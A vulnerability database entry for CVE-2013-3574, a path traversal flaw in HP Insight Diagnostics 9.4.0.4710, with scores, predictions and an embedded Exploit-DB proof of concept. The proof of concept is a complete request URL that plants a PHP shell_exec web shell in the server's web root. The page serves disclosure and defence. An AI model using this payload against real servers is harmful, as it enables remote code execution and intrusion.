CVE-2013-3574

high

Published 2013-06-14 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

8.8

Description

Absolute path traversal vulnerability in hpdiags/frontend2/commands/saveCompareConfig.php in HP Insight Diagnostics 9.4.0.4710 allows remote attackers to write data to arbitrary files via a full pathname in the argument to the devicePath (aka mount) parameter.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-38562 webapps php verified text · 1 KB

Markus Wulftange · 2013-06-10

HP Insight Diagnostics - Remote Code Injection

text exploit Source: Exploit-DB

source: https://www.securityfocus.com/bid/60447/info

HP Insight Diagnostics is prone to a remote code-injection vulnerability.

An attacker can exploit this vulnerability to inject and execute arbitrary code within the context of the affected application.

HP Insight Diagnostics 9.4.0.4710 is vulnerable; other versions may also be affected.

https://www.example.com/hpdiags/frontend2/commands/saveCompareConfig.php?filename=comparesurvey&target=winhardrive&device=&devicePath=C:/hp/hpsmh/data/htdocs/hpdiags/frontend2/help/&category=all&advanced=yes&leftFile=surveybase.xml&leftFileName=<%3f=shell_exec($_REQUEST[0])%3b%3f>&rightFile=survey.lastwebsession.xml&rightFileName=-&changesOnly=yes&overwrite=yes

Application impact

Vendor	Product	Versions	Fixed
hp	insight_diagnostics	`9.4.0.4710`

References

CWEs

CWE-20

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.